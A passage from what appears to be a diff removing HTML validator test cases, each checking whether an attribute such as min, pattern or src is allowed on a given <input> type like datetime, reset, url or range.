-"input": "<input type=datetime enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='datetime'>",
-"input": "<input type=datetime name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='datetime'>",
-"input": "<input type=datetime required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='datetime'>",
-"input": "<input type=datetime list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='datetime'>",
-"input": "<input type=datetime value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='datetime'>",
-"input": "<input type=datetime autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='datetime'>",
-"input": "<input type=datetime action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='datetime'>",
-"input": "<input type=datetime tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='move-down'>",
-"input": "<input type=move-down accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='move-down'>",
-"input": "<input type=move-down disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='move-down'>",
-"input": "<input type=move-down autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='move-down'>",
-"input": "<input type=move-down form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='move-down'>",
-"input": "<input type=move-down name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='move-down'>",
-"input": "<input type=move-down value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='move-down'>",
-"input": "<input type=move-down action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='move-down'>",
-"input": "<input type=move-down tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='datetime-local'>",
-"input": "<input type=datetime-local action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='datetime-local'>",
-"input": "<input type=datetime-local tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='reset'>",
-"input": "<input type=reset accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='reset'>",
-"input": "<input type=reset disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='reset'>",
-"input": "<input type=reset autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='reset'>",
-"input": "<input type=reset form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='reset'>",
-"input": "<input type=reset name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='reset'>",
-"input": "<input type=reset value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='reset'>",
-"input": "<input type=reset action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='reset'>",
-"input": "<input type=reset tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='url'>",
-"input": "<input type=url accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='url'>",
-"input": "<input type=url accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='url'>",
-"input": "<input type=url replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='url'>",
-"input": "<input type=url disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='url'>",
-"input": "<input type=url alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='url'>",
-"input": "<input type=url size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='url'>",
-"input": "<input type=url checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='url'>",
-"input": "<input type=url min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'pattern' attribute on <input type='url'>",
-"input": "<input type=url pattern>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='url'>",
-"input": "<input type=url readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='url'>",
-"input": "<input type=url template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='url'>",
-"input": "<input type=url autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='url'>",
-"input": "<input type=url target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='url'>",
-"input": "<input type=url method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='url'>",
-"input": "<input type=url form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='url'>",
-"input": "<input type=url max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='url'>",
-"input": "<input type=url step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='url'>",
-"input": "<input type=url enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='url'>",
-"input": "<input type=url src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='url'>",
-"input": "<input type=url name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='url'>",
-"input": "<input type=url required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='url'>",
-"input": "<input type=url list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='url'>",
-"input": "<input type=url value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='url'>",
-"input": "<input type=url autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'inputmode' attribute on <input type='url'>",
-"input": "<input type=url inputmode>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'maxlength' attribute on <input type='url'>",
-"input": "<input type=url maxlength>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='url'>",
-"input": "<input type=url action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='url'>",
-"input": "<input type=url tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='button'>",
-"input": "<input type=button accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='button'>",
-"input": "<input type=button accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='button'>",
-"input": "<input type=button replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='button'>",
-"input": "<input type=button disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='button'>",
-"input": "<input type=button alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='button'>",
-"input": "<input type=button size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='button'>",
-"input": "<input type=button checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='button'>",
-"input": "<input type=button min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='button'>",
-"input": "<input type=button pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='button'>",
-"input": "<input type=button readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='button'>",
-"input": "<input type=button template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='button'>",
-"input": "<input type=button autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='button'>",
-"input": "<input type=button target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='button'>",
-"input": "<input type=button method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='button'>",
-"input": "<input type=button form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='button'>",
-"input": "<input type=button max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='button'>",
-"input": "<input type=button step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='button'>",
-"input": "<input type=button enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='button'>",
-"input": "<input type=button src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='button'>",
-"input": "<input type=button name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='button'>",
-"input": "<input type=button required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='button'>",
-"input": "<input type=button list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='button'>",
-"input": "<input type=button value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='button'>",
-"input": "<input type=button autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='button'>",
-"input": "<input type=button inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='button'>",
-"input": "<input type=button maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='button'>",
-"input": "<input type=button action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='button'>",
-"input": "<input type=button tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='remove'>",
-"input": "<input type=remove accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='remove'>",
-"input": "<input type=remove disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='remove'>",
-"input": "<input type=remove autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='remove'>",
-"input": "<input type=remove form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='remove'>",
-"input": "<input type=remove name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='remove'>",
-"input": "<input type=remove value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='remove'>",
-"input": "<input type=remove action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='remove'>",
-"input": "<input type=remove tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='range'>",
-"input": "<input type=range accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='range'>",
-"input": "<input type=range accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='range'>",
-"input": "<input type=range replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='range'>",
-"input": "<input type=range disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='range'>",
-"input": "<input type=range alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='range'>",
-"input": "<input type=range size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='range'>",
-"input": "<input type=range checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='range'>",
-"input": "<input type=range min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='range'>",
-"input": "<input type=range pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='range'>",
-"input": "<input type=range readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='range'>",
-"input": "<input type=range template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='range'>",
-"input": "<input type=range autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='range'>",
-"input": "<input type=range target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='range'>",
-"input": "<input type=range method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='range'>",
-"input": "<input type=range form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='range'>",
-"input": "<input type=range max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='range'>",
-"input": "<input type=range step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='range'>",
-"input": "<input type=range enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='range'>",
-"input": "<input type=range src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='range'>",
-"input": "<input type=range name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='range'>",
-"input": "<input type=range required>",
